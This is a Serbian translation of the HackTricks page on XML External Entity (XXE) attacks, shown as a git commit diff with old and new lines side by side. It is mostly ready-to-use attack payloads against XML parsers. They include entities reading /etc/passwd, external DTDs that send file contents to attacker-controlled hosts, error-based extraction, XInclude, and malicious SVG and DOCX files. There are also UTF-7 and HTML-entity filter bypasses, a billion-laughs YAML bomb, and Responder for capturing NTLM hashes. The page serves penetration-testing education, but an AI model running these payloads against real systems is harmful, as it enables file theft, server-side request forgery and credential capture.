mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to sr
This commit is contained in:
parent
e169d168c1
commit
258b651377
@ -1,22 +1,27 @@
|
||||
# XXE - XEE - XML Eksterna Entitet
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovi XML-a
|
||||
|
||||
XML je jezik za označavanje dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
|
||||
XML je jezik za označavanje dizajniran za skladištenje i transport podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
|
||||
|
||||
- **Predstavljanje podataka kroz entitete**: Entiteti u XML-u omogućavaju predstavljanje podataka, uključujući specijalne karaktere kao što su `<` i `>`, koji odgovaraju `<` i `>` kako bi se izbegla sukob sa sistemom oznaka XML-a.
|
||||
- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, naglašavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.
|
||||
- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, ocrtavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.
|
||||
- **Definicija tipa dokumenta (DTD)**: DTD-ovi su ključni u XML-u za definisanje strukture dokumenta i tipova podataka koje može sadržati. Mogu biti unutrašnji, spoljašnji ili kombinacija, usmeravajući kako se dokumenti formatiraju i validiraju.
|
||||
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno predstavljanje podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji koriste način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno predstavljanje podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji iskorišćavaju način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE detekcija sa parametarskim entitetima**: Za detekciju XXE ranjivosti, posebno kada konvencionalne metode ne uspevaju zbog bezbednosnih mera parsera, mogu se koristiti XML parametarski entiteti. Ovi entiteti omogućavaju tehnike detekcije van opsega, kao što su pokretanje DNS upita ili HTTP zahteva ka kontrolisanoj domeni, kako bi se potvrdila ranjivost.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Glavni napadi
|
||||
|
||||
[**Većina ovih napada je testirana koristeći sjajne Portswigger XEE laboratorije: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**Većina ovih napada testirana je koristeći sjajne Portswigger XEE laboratorije: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Test nove entitete
|
||||
|
||||
@ -43,13 +48,13 @@ U ovom prvom slučaju primetite da će SYSTEM "_**file:///**etc/passwd_" takođe
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ovaj drugi slučaj bi trebao biti koristan za ekstrakciju fajla ako web server koristi PHP (Nije slučaj Portswiggerovih laboratorija)
|
||||
Ovaj drugi slučaj bi trebao biti koristan za ekstrakciju fajla ako web server koristi PHP (Nije slučaj sa Portswigger laboratorijama)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
U ovom trećem slučaju primetite da deklariramo `Element stockCheck` kao ANY
|
||||
U ovom trećem slučaju primetite da deklarujemo `Element stockCheck` kao ANY
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -91,7 +96,7 @@ Koristeći **prethodno komentarisanu tehniku** možete naterati server da pristu
|
||||
```
|
||||
### "Blind" SSRF - Ekstrakcija podataka van kanala
|
||||
|
||||
**U ovom slučaju ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**U ovoj prilici ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
U datoj zloćudnoj DTD, sprovodi se niz koraka za ekstrakciju podataka:
|
||||
|
||||
@ -121,20 +126,20 @@ Napadač hostuje ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima spoljašnji DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zloćudnom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
|
||||
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
|
||||
|
||||
### Greška zasnovana (Spoljašnji DTD)
|
||||
### Greška zasnovana (Eksterni DTD)
|
||||
|
||||
**U ovom slučaju ćemo naterati server da učita zloćudni DTD koji će prikazati sadržaj datoteke unutar poruke o grešci (ovo važi samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**U ovom slučaju ćemo naterati server da učita zlonamerni DTD koji će prikazati sadržaj datoteke unutar poruke o grešci (ovo važi samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Poruka o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, može biti izazvana korišćenjem zloćudnog spoljašnjeg Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake:
|
||||
Poruka o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, može biti izazvana korišćenjem zlonamernog spoljnog Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake:
|
||||
|
||||
1. Definisan je XML parametarski entitet pod imenom `file`, koji sadrži sadržaj datoteke `/etc/passwd`.
|
||||
2. Definisan je XML parametarski entitet pod imenom `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet pod imenom `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime.
|
||||
3. `eval` entitet se poziva, što dovodi do dinamičke deklaracije `error` entiteta.
|
||||
4. Poziv `error` entiteta rezultira pokušajem učitavanja nepostojeće datoteke, proizvodeći poruku o grešci koja uključuje sadržaj datoteke `/etc/passwd` kao deo imena datoteke.
|
||||
|
||||
Zloćudni spoljašnji DTD može biti pozvan sa sledećim XML:
|
||||
Zlonamerni eksterni DTD može biti pozvan sa sledećim XML:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
@ -152,7 +157,7 @@ _**Molimo vas da primetite da eksterni DTD omogućava uključivanje jedne entite
|
||||
|
||||
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada se DTD dokumenta meša unutrašnje i eksterne deklaracije**. Ovaj problem omogućava unutrašnju redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
|
||||
|
||||
Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u parsiranju XML-a otkrivajući sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
|
||||
Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u XML parsiranju otkrivajući sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -168,8 +173,8 @@ Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/
|
||||
Definisani koraci se izvršavaju ovim DTD-om:
|
||||
|
||||
- Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje spoljašnji DTD fajl smešten na datotečnom sistemu servera.
|
||||
- Dolazi do redefinicije za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova redefinicija je dizajnirana da izazove grešku u parsiranju, otkrivajući sadržaj fajla `/etc/passwd`.
|
||||
- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
|
||||
- Ponovna definicija se dešava za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova ponovna definicija je dizajnirana da izazove grešku u parsiranju, otkrivajući sadržaj fajla `/etc/passwd`.
|
||||
- Korišćenjem `local_dtd` entiteta, spoljašnji DTD se aktivira, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
|
||||
|
||||
**Primer iz stvarnog sveta:** Sistemi koji koriste GNOME radno okruženje često imaju DTD na `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`.
|
||||
```xml
|
||||
@ -205,7 +210,7 @@ U sledećem sjajnom github repozitorijumu možete pronaći **puteve DTD-ova koji
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Pored toga, ako imate **Docker sliku žrtvinog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
|
||||
Pored toga, ako imate **Docker sliku žrtvovog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme github-a](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -219,15 +224,15 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE putem Office Open XML parsera
|
||||
|
||||
Za detaljnije objašnjenje ovog napada, **pogledajte drugi deo** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||
Za detaljnije objašnjenje ovog napada, **pogledajte drugu sekciju** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||
|
||||
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser mogao da izvuče podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
|
||||
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim izvode određene detalje iz tih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
|
||||
|
||||
Da bi se testirala ova ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je da se kreira prazan direktorijum u koji se dokument može raspakovati.
|
||||
|
||||
Kada je dokument raspakovan, XML fajl smešten u `./unzipped/word/document.xml` treba otvoriti i izmeniti u omiljenom tekst editoru (kao što je vim). XML treba izmeniti da uključuje željeni XXE payload, često počinjući sa HTTP zahtevom.
|
||||
Kada je dokument raspakovan, XML fajl smešten u `./unzipped/word/document.xml` treba otvoriti i urediti u omiljenom tekst editoru (kao što je vim). XML treba modifikovati da uključuje željeni XXE payload, često počinjući sa HTTP zahtevom.
|
||||
|
||||
Izmenjene XML linije treba umetnuti između dva korenska XML objekta. Važno je zameniti URL sa URL-om koji se može pratiti za zahteve.
|
||||
Modifikovane XML linije treba umetnuti između dva korenska XML objekta. Važno je zameniti URL sa URL-om koji se može pratiti za zahteve.
|
||||
|
||||
Na kraju, fajl se može ponovo zipovati da bi se kreirao zlonamerni poc.docx fajl. Iz prethodno kreiranog "unzipped" direktorijuma, treba pokrenuti sledeću komandu:
|
||||
|
||||
@ -248,7 +253,7 @@ Proces pristupanja datoteci unutar PKZIP arhive putem jar protokola uključuje n
|
||||
1. HTTP zahtev se šalje za preuzimanje zip arhive sa određene lokacije, kao što je `https://download.website.com/archive.zip`.
|
||||
2. HTTP odgovor koji sadrži arhivu se privremeno čuva na sistemu, obično na lokaciji kao što je `/tmp/...`.
|
||||
3. Arhiva se zatim ekstrahuje da bi se pristupilo njenom sadržaju.
|
||||
4. Konkretna datoteka unutar arhive, `file.zip`, se čita.
|
||||
4. Specifična datoteka unutar arhive, `file.zip`, se čita.
|
||||
5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu.
|
||||
|
||||
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dugo dok se služi arhivska datoteka. Alati dostupni na [ovoj repozitoriji](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
|
||||
@ -294,7 +299,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### Dobijanje NTML-a
|
||||
|
||||
Na Windows hostovima je moguće dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a:
|
||||
Na Windows hostovima moguće je dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -312,7 +317,7 @@ Zatim možete pokušati da probijete hash koristeći hashcat
|
||||
|
||||
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje spoljašnjih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
|
||||
|
||||
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena, a putanja do datoteke za željeni spoljašnji entitet mora biti specificirana. Ispod je sažet primer kako se takav napad može formulisati:
|
||||
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena i navesti putanju do datoteke za željeni spoljašnji entitet. Ispod je sažet primer kako se takav napad može formulisati:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -320,11 +325,11 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
### SVG - Upload fajlova
|
||||
|
||||
Fajlovi koje korisnici otpremaju u određene aplikacije, a koji se zatim obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se obrađuju XML ili formati fajlova koji sadrže XML. Uobičajeni formati fajlova kao što su kancelarijski dokumenti (DOCX) i slike (SVG) zasnovani su na XML-u.
|
||||
Fajlovi koje korisnici otpremaju u određene aplikacije, koji se zatim obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se obrađuju XML ili formati fajlova koji sadrže XML. Uobičajeni formati fajlova kao što su kancelarijski dokumenti (DOCX) i slike (SVG) zasnovani su na XML-u.
|
||||
|
||||
Kada korisnici **otpremaju slike**, te slike se obrađuju ili validiraju na strani servera. Čak i za aplikacije koje očekuju formate kao što su PNG ili JPEG, **biblioteka za obradu slika na serveru može takođe podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača za slanje malicioznih SVG slika, čime se server izlaže XXE (XML External Entity) ranjivostima.
|
||||
Kada korisnici **otpremaju slike**, te slike se obrađuju ili validiraju na strani servera. Čak i za aplikacije koje očekuju formate kao što su PNG ili JPEG, **biblioteka za obradu slika na serveru može takođe podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača da pošalje zlonamerne SVG slike, čime se server izlaže XXE (XML External Entity) ranjivostima.
|
||||
|
||||
Primer takvog eksploata je prikazan ispod, gde maliciozna SVG slika pokušava da pročita sistemske fajlove:
|
||||
Primer takvog eksploata je prikazan ispod, gde zlonamerna SVG slika pokušava da pročita sistemske fajlove:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
@ -342,7 +347,7 @@ Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
### **PDF - Učitavanje fajla**
|
||||
|
||||
Pročitajte sledeći post da **naučite kako da iskoristite XXE učitavanjem PDF** fajla:
|
||||
Pročitajte sledeći post da **naučite kako da iskoristite XXE za učitavanje PDF** fajla:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -358,7 +363,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
Tada možete poslati sledeći zahtev, sa istim rezultatom:
|
||||
Tada možda možete poslati sledeći zahtev, sa istim rezultatom:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -396,7 +401,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
</root>
|
||||
</root>
|
||||
```
|
||||
Još jedan primer može se naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
Još jedan primer se može naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & Obilaženje zaštita
|
||||
|
||||
@ -408,7 +413,7 @@ Ovo funkcioniše samo ako XML server prihvata `data://` protokol.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) za transformaciju u UTF-7.
|
||||
Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformiše u UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -430,7 +435,7 @@ Ako web koristi Javu, možete proveriti [**jar: protocol**](xxe-xee-xml-external
|
||||
|
||||
Trik iz [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Možete kreirati **entitet unutar entiteta** kodirajući ga sa **html entitetima** i zatim ga pozvati da **učita dtd**.\
|
||||
Napomena da **HTML Entities** koje se koriste moraju biti **numeričke** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
Napomena da **HTML Entiteti** koji se koriste moraju biti **numerički** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
@ -492,7 +497,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Međutim, ovaj zahtev izaziva grešku unutrašnjeg servera, posebno pominjući problem sa deklaracijama markup-a:
|
||||
Međutim, ovaj zahtev izaziva grešku na internom serveru, posebno pominjući problem sa deklaracijama markup-a:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -500,9 +505,9 @@ Međutim, ovaj zahtev izaziva grešku unutrašnjeg servera, posebno pominjući p
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
I pored greške, zabeležen je hit na Burp Collaborator, što ukazuje na određeni nivo interakcije sa spoljnim entitetom.
|
||||
I pored greške, zabeležen je hit na Burp Collaborator-u, što ukazuje na određeni nivo interakcije sa spoljnim entitetom.
|
||||
|
||||
Izvan kanala Ekstrakcija podataka Da bi se ekstraktovali podaci, šalje se modifikovani zahtev:
|
||||
Izvan-bend eksfiltracija podataka Da bi se eksfiltrirali podaci, šalje se modifikovani zahtev:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -514,9 +519,9 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Ovaj pristup otkriva da User Agent ukazuje na korišćenje Java 1.8. Zapaženo ograničenje sa ovom verzijom Jave je nemogućnost preuzimanja fajlova koji sadrže karakter novog reda, kao što je /etc/passwd, koristeći Out of Band tehniku.
|
||||
Ovaj pristup otkriva da User Agent ukazuje na korišćenje Java 1.8. Zapaženo ograničenje ove verzije Jave je nemogućnost preuzimanja datoteka koje sadrže karakter novog reda, kao što je /etc/passwd, koristeći Out of Band tehniku.
|
||||
|
||||
Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na grešci. DTD fajl je strukturiran na sledeći način da izazove grešku koja uključuje podatke iz ciljnog fajla:
|
||||
Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na grešci. DTD datoteka je strukturirana na sledeći način da izazove grešku koja uključuje podatke iz ciljne datoteke:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
